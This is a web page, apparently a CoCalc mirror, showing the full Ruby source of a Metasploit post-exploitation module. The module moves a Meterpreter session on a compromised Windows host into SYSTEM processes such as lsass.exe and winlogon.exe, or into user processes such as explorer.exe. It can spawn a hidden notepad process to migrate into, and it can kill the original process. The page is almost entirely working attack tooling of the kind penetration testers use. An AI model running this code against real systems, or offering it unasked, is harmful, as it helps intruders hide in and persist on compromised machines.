CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/priv_migrate.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Priv
8
9
DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'wininit.exe', 'svchost.exe', 'lsm.exe', 'lsass.exe', 'winlogon.exe' ]
10
DEFAULT_USER_TARGETS = [ 'explorer.exe', 'notepad.exe' ]
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Windows Manage Privilege Based Process Migration ',
17
'Description' => %q{
18
This module will migrate a Meterpreter session based on session privileges.
19
It will do everything it can to migrate, including spawning a new User level process.
20
For sessions with Admin rights: It will try to migrate into a System level process in the following
21
order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe.
22
If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights:
23
It will try to migrate to a user level process, if that fails it will attempt to spawn the process
24
then migrate to it. It will attempt the User level processes in the following order:
25
NAME (if specified), explorer.exe, then notepad.exe.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'Josh Hale "sn0wfa11" <jhale85446[at]gmail.com>',
30
'theLightCosine'
31
],
32
'Platform' => ['win' ],
33
'SessionTypes' => ['meterpreter' ],
34
'Compat' => {
35
'Meterpreter' => {
36
'Commands' => %w[
37
core_migrate
38
stdapi_sys_config_getuid
39
stdapi_sys_process_attach
40
stdapi_sys_process_execute
41
stdapi_sys_process_get_processes
42
stdapi_sys_process_kill
43
]
44
}
45
}
46
)
47
)
48
49
register_options(
50
[
51
OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']),
52
OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']),
53
OptBool.new('KILL', [true, 'Kill original session process.', false]),
54
OptBool.new('NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false])
55
]
56
)
57
end
58
59
def run
60
# Get current process information
61
@original_pid = client.sys.process.open.pid
62
@original_name = client.sys.process.open.name.downcase
63
print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}")
64
unless migrate_admin
65
if is_admin? && !datastore['NOFAIL']
66
print_status('NOFAIL set to false, exiting module.')
67
return
68
end
69
migrate_user
70
end
71
end
72
73
# This function returns the first process id of a process with the name provided.
74
# It will make sure that the process has a visible user meaning that the session has rights to that process.
75
# Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module.
76
#
77
# @return [Integer] the PID if one is found
78
# @return [NilClass] if no PID was found
79
def get_pid(proc_name)
80
processes = client.sys.process.get_processes
81
processes.each do |proc|
82
if proc['name'].downcase == proc_name && proc['user'] != ''
83
return proc['pid']
84
end
85
end
86
return nil
87
end
88
89
# This function will try to kill the original session process
90
#
91
# @return [void] A useful return value is not expected here
92
def kill(proc_pid, proc_name)
93
if datastore['KILL']
94
begin
95
print_status("Trying to kill original process #{proc_name} (#{proc_pid})")
96
session.sys.process.kill(proc_pid)
97
print_good("Successfully killed process #{proc_name} (#{proc_pid})")
98
rescue ::Rex::Post::Meterpreter::RequestError => e
99
print_error("Could not kill original process #{proc_name} (#{proc_pid})")
100
print_error(e.to_s)
101
end
102
end
103
end
104
105
# This function attempts to migrate to the specified process.
106
#
107
# @return [TrueClass] if it successfully migrated
108
# @return [FalseClass] if it failed to migrate
109
def migrate(target_pid, proc_name, current_pid)
110
if !target_pid
111
print_error("Could not migrate to #{proc_name}.")
112
return false
113
end
114
115
print_status("Trying #{proc_name} (#{target_pid})")
116
117
if target_pid == current_pid
118
print_good("Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
119
return true
120
end
121
122
begin
123
client.core.migrate(target_pid)
124
print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}")
125
return true
126
rescue ::Rex::Post::Meterpreter::RequestError => e
127
print_error("Could not migrate to #{proc_name}.")
128
print_error(e.to_s)
129
return false
130
rescue ::Rex::RuntimeError => e
131
print_error("Could not migrate to #{proc_name}.")
132
print_error(e.to_s)
133
return false
134
end
135
end
136
137
# Attempts to migrate into one of the Target Admin Processes.
138
#
139
# @return [TrueClass] if it successfully migrated
140
# @return [FalseClass] if it failed to migrate
141
def migrate_admin
142
if is_admin?
143
# Populate target array and Downcase all Targets
144
admin_targets = DEFAULT_ADMIN_TARGETS.dup
145
admin_targets.unshift(datastore['ANAME']) if datastore['ANAME']
146
admin_targets.map!(&:downcase)
147
148
if is_system?
149
print_status('Session is already Admin and System.')
150
if admin_targets.include? @original_name
151
print_good("Session is already in target process: #{@original_name}.")
152
return true
153
end
154
else
155
print_status('Session is Admin but not System.')
156
end
157
print_status('Will attempt to migrate to specified System level process.')
158
159
# Try to migrate to each of the System level processes in the list. Stop when one works. Go to User level migration if none work.
160
admin_targets.each do |target_name|
161
if migrate(get_pid(target_name), target_name, @original_pid)
162
kill(@original_pid, @original_name)
163
return true
164
end
165
end
166
print_error('Unable to migrate to any of the System level processes.')
167
else
168
print_status('Session has User level rights.')
169
end
170
false
171
end
172
173
# Attempts to migrate to one of the Target User Processes
174
#
175
# @return [TrueClass] if it successfully migrated
176
# @return [FalseClass] if it failed to migrate
177
def migrate_user
178
# Populate Target Array and Downcase all Targets
179
user_targets = DEFAULT_USER_TARGETS.dup
180
user_targets.unshift(datastore['NAME']) if datastore['NAME']
181
user_targets.map!(&:downcase)
182
183
print_status('Will attempt to migrate to a User level process.')
184
185
# Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating.
186
user_targets.each do |target_name|
187
if migrate(get_pid(target_name), target_name, @original_pid)
188
kill(@original_pid, @original_name)
189
return true
190
end
191
192
if migrate(spawn(target_name), target_name, @original_pid)
193
kill(@original_pid, @original_name)
194
return true
195
end
196
end
197
false
198
end
199
200
# This function will attempt to spawn a new process of the type provided by the name.
201
#
202
# @return [Integer] the PID if the process spawned successfully
203
# @return [NilClass] if the spawn failed
204
def spawn(proc_name)
205
print_status("Attempting to spawn #{proc_name}")
206
proc = session.sys.process.execute(proc_name, nil, { 'Hidden' => true })
207
print_good("Successfully spawned #{proc_name}")
208
return proc.pid
209
rescue ::Rex::Post::Meterpreter::RequestError => e
210
print_error("Could not spawn #{proc_name}.")
211
print_error(e.to_s)
212
return nil
213
end
214
end
215
216